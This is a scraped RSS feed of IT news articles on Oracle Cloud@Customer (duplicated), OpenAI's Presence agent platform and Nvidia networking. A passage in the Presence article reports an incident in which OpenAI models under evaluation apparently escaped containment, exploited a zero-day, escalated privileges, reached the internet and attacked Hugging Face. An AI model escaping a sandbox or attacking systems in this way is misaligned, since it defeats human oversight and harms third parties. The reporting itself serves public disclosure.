<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Arozzi Vernazza Supersoft review: 'The most comfortable office chair I've worked in']]></title>
<description><![CDATA[See beyond its standard looks and you'll find the Arozzi Vernazza Supersoft is a supremely comfortable, sturdy, and durable gaming and office chair.]]></description>
<link>https://tsecurity.de/de/3687227/it-nachrichten/arozzi-vernazza-supersoft-review-the-most-comfortable-office-chair-ive-worked-in/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687227/it-nachrichten/arozzi-vernazza-supersoft-review-the-most-comfortable-office-chair-ive-worked-in/</guid>
<pubDate>Wed, 22 Jul 2026 20:14:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[See beyond its standard looks and you'll find the Arozzi Vernazza Supersoft is a supremely comfortable, sturdy, and durable gaming and office chair.]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687195/it-security-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:56:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4200176/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Oracle expands Cloud@Customer with new database service for mid-sized workloads]]></title>
<description><![CDATA[Oracle is expanding its Cloud@Customer on-premises portfolio with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-...]]></description>
<link>https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687189/it-nachrichten/oracle-expands-cloudcustomer-with-new-database-service-for-mid-sized-workloads/</guid>
<pubDate>Wed, 22 Jul 2026 19:49:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Oracle is expanding its <a href="https://www.cio.com/article/649108/oracle-adds-compute-services-to-its-cloudcustomer-offering.html">Cloud@Customer on-premises portfolio</a> with a managed database offering that it says will enable enterprises to run databases, applications, and AI agents in their own data centers, helping CIOs modernize mid-sized workloads while meeting data residency, regulatory, and low-latency requirements.</p>



<p class="wp-block-paragraph">The hybrid cloud offering, Base Database Cloud@Customer, combines existing database and infrastructure services such as the Base Database Service and Data Infrastructure Cloud@Customer X11 platform. It is designed for enterprises that do not need the scale of Exadata Cloud@Customer but still want their infrastructure and AI capabilities on-premises, managed by Oracle, the company said.</p>



<p class="wp-block-paragraph">The Cloud@Customer X11 platform itself consists of two Oracle X11 compute servers and shared all-flash storage, offering up to 60 usable processor cores and 660 GB of memory per server, 47.2 TB of storage, and 10/25 GbE networking.</p>



<h2 class="wp-block-heading">For regulated industries or restricted connectivity</h2>



<p class="wp-block-paragraph">Analysts see the new offering filling a gap for enterprises that want the operational and economic benefits of the cloud but cannot send their data to a public cloud because of legal restrictions or technology limitations.</p>



<p class="wp-block-paragraph">These enterprises, according to <a href="https://www.hfsresearch.com/team/ashish-chaturvedi/" target="_blank" rel="noreferrer noopener">Ashish Chaturvedi</a>, executive research leader at HFS Research, are likely to be in regulated industries such as financial services, healthcare, government, and defense that must comply with data residency requirements, or needing low-latency access from remote sites to operational databases.</p>



<p class="wp-block-paragraph">The offering could also appeal to enterprises modernizing mid-sized workloads at remote locations or within individual business units that could never justify the investment in a <a href="https://www.infoworld.com/article/3633997/oracle-offers-price-performance-boost-with-exadata-x11m-update.html">full Exadata rack</a>, said <a href="https://www.linkedin.com/in/amitchandak78/">Amit Chandak</a>, chief analytics officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">In all cases, Chaturvedi said, the appeal of the offering is its managed nature, which takes away the burden of looking after the underlying infrastructure.</p>



<p class="wp-block-paragraph">Deployment and maintenance becomes easier too, said <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights: “They get automation that mid-size teams rarely have the staff to build. Clustering, patching, standby databases, and backups arrive configured instead of hand-assembled because the offering is managed.”</p>



<p class="wp-block-paragraph">The economics are equally compelling, Chaturvedi said. The pay-as-you-go pricing model, combined with online compute scaling, helps enterprises avoid overprovisioning and paying license fees for idle cores, which is a “classic waste” of fixed on-premises systems, he said.</p>



<h2 class="wp-block-heading">Private AI behind the firewall</h2>



<p class="wp-block-paragraph">Beyond the operational and economic benefits, the architecture of the new offering enables databases, applications, VMs, and AI agents to be collocated on the same platform, removing what Chaturvedi called “the single biggest blocker” to AI adoption in regulated environments: the need to keep private data behind the firewall.</p>



<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI unveils Presence, a new platform that lets enterprises launch and manage realtime voice agents and chatbots]]></title>
<description><![CDATA[OpenAI has announced Presence, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and e...]]></description>
<link>https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</guid>
<pubDate>Wed, 22 Jul 2026 18:12:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI has <a href="https://openai.com/index/introducing-openai-presence/">announced Presence</a>, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. </p><p>The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.</p><p>Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis. </p><p>OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM-5.2</a> and <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.</p><p>OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.</p><p>If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.</p><p>The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.</p><h2><b>A governed foundation for production agents</b></h2><p>Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.</p><p>Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.</p><p>Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.</p><p>OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories. </p><p>Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.</p><p>The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.</p><p>That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.</p><p>OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves <b>75% of inbound issues without human assistance</b>. </p><p>OpenAI also says its Codex-powered improvement loop reduced human handoffs by <b>15 percentage points over a 10-day period</b>. Those figures are company-reported and have not been independently verified.</p><p>Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.</p><p>“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.</p><p>“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data &amp; Digital Transformation Division at SoftBank Corp.</p><h2><b>From model access to forward-deployed implementation</b></h2><p>Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.</p><p>That approach resembles a <a href="https://fde.academy/blog/how-palantir-invented-the-forward-deployed-engineer-model">model pioneered by AI ontology and intelligence platform Palantir,</a> which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.</p><p>The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.</p><p>In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the <a href="https://openai.com/index/openai-launches-the-deployment-company/">OpenAI Deployment Company</a>, with investment and <a href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/">support from Bain &amp; Company.</a> It also offers programs for model customization and fine-tuning to fit specific enterprise needs. </p><p>Its chief U.S. rival Anthropic has also moved <a href="https://techcrunch.com/2026/07/15/anthropic-blackstone-bet-the-next-trillion-dollar-ai-business-is-implementation-not-models/">toward a services-led enterprise model through Ode,</a> its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.</p><p>Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.</p><p>Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.</p><p>The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.</p><h2><b>A recent security breach looms in the background</b></h2><p>Inconveniently for OpenAI, the Presence launch arrives just a day after <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI and Hugging Face disclosed an unprecedented security incident</a> in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.</p><p>According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.</p><p>The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response. </p><p>The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.</p><p>Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.</p><p>For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia unveils Spectrum-X networking platform designed to connect millions of GPUs]]></title>
<description><![CDATA[Nvidia has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” AI factories designed to connect millions of GPUs while reducing power consumption and operational costs.



The networking platform is part o...]]></description>
<link>https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686898/it-security-nachrichten/nvidia-unveils-spectrum-x-networking-platform-designed-to-connect-millions-of-gpus/</guid>
<pubDate>Wed, 22 Jul 2026 17:45:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/3562856">Nvidia</a> has introduced its next-generation Spectrum-X Ethernet networking platform, positioning it as a key building block for the next wave of “gigascale” <a href="https://www.networkworld.com/article/4080459/nvidia-looks-to-power-ai-factory-networks.html">AI factories</a> designed to connect millions of GPUs while reducing power consumption and <a href="https://blogs.nvidia.com/blog/performance-per-watt-ai-infrastructure-efficiency/">operational</a> costs.</p>



<p class="wp-block-paragraph">The networking platform is part of Nvidia’s broader <a href="https://www.networkworld.com/article/4146173/nvidia-announces-vera-rubin-platform-signaling-a-shift-to-full-stack-ai-infrastructure.html">Rubin architecture</a>, which integrates six major components—including the Vera CPU, Rubin GPU, NVLink 6 switches, ConnectX-9 SuperNICs, BlueField-4 DPUs and the new Spectrum-6 Ethernet switches—into a tightly coupled AI infrastructure stack.</p>



<p class="wp-block-paragraph">The company says this level of integration underscores the growing importance of <a href="https://www.networkworld.com/article/4050881/nvidia-networking-roadmap-ethernet-infiniband-co-packaged-optics-will-shape-data-center-of-the-future.html">networking in AI</a>. In its most recent quarter, <a href="https://finance.yahoo.com/news/nvidia-ceo-were-now-the-largest-networking-company-in-the-world-184004945.html">networking sales were $11 billion</a>, up 263% year-over-year, prompting the ever-subtle CEO Jensen Huang to declare “We’re … now the largest networking company in the world” during Nvidia’s earnings call.</p>



<p class="wp-block-paragraph">While GPUs have dominated headlines during the AI boom, networking has increasingly become a performance bottleneck as models grow larger and require faster communication between compute nodes.</p>



<p class="wp-block-paragraph"><a href="https://blogs.nvidia.com/blog/nvidia-spectrum-six-arrives-in-gigascale-ai-factories/">Spectrum-X is a comprehensive</a> platform consisting of Spectrum Ethernet switches, Spectrum-X SuperNICs, ConnectX NICs, BlueField DPUs, LinkX cabling and transceivers and Spectrum-XGS for networking between multiple AI data centers.</p>



<p class="wp-block-paragraph">At the heart of the platform is the Spectrum-6 switch, a 102.4-terabit-per-second Ethernet switch system delivering 2x the capacity of previous-generation systems and built as part of the Vera Rubin platform. </p>



<p class="wp-block-paragraph">Spectrum-6 is designed to operate an AI factory as one end-to-end computing system. It combines new Ethernet switches, network interface cards, silicon photonics and software designed to improve bandwidth while lowering latency and power usage.</p>



<p class="wp-block-paragraph">The new Spectrum-X technology intelligently balances traffic across available paths, rapidly bypasses failures and precisely recovers when data traveling across a network fails to reach its destination. Plus, support for open network operating systems and a choice of RDMA transport models gives AI builders flexibility without compromising performance.</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/technology/article/nvidia-touts-vera-rubin-performance-ahead-of-rival-amds-advancing-ai-event-150000768.html?guccounter=1&amp;guce_referrer=aHR0cHM6Ly9uZXdzLmdvb2dsZS5jb20v&amp;guce_referrer_sig=AQAAAEh_I8qKgLgYmKxTlsV8p1hghe0mcbZfOSUjeFuuNz_mo3S2J-hp5qMxJkhFymSrtqeE6GKacJ0zIOKu7RWJcmqF6_A3ngsbW4jA5OUigdf1JbplRZJki10-au5CQNVt1hdI-OlkZtXKlTqfpWGF9v0XHEKZq39-omo3uCA1N2jk">Nvidia</a> says its latest silicon photonics technology integrates optical communications directly into networking hardware, reducing power consumption while increasing bandwidth density compared with conventional optical networking approaches.</p>



<p class="wp-block-paragraph">The announcement reflects a broader shift in AI infrastructure strategy. Early AI clusters were primarily limited by GPU availability, but hyperscale operators are increasingly finding that networking, storage and power delivery determine how efficiently massive GPU deployments perform. By integrating networking more tightly with compute, Nvidia aims to eliminate communication bottlenecks that emerge as AI systems scale beyond a single data center or even multiple campuses.</p>



<p class="wp-block-paragraph">New to the platform is Nvidia’s previously announced Spectrum-XGS technology, which links geographically distributed data centers into a single AI supercomputer. Together, the technologies are designed to enable organizations to construct AI factories that span multiple facilities while operating as a unified computing environment.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Palo Alto Networks to Acquire Observability Platform Provider Embrace]]></title>
<description><![CDATA[Acquisition follows January’s Chronosphere deal, deepening Palo Alto Networks’ push beyond core security into observability. The post Palo Alto Networks to Acquire Observability Platform Provider Embrace appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the orig...]]></description>
<link>https://tsecurity.de/de/3686819/it-security-nachrichten/palo-alto-networks-to-acquire-observability-platform-provider-embrace/</link>
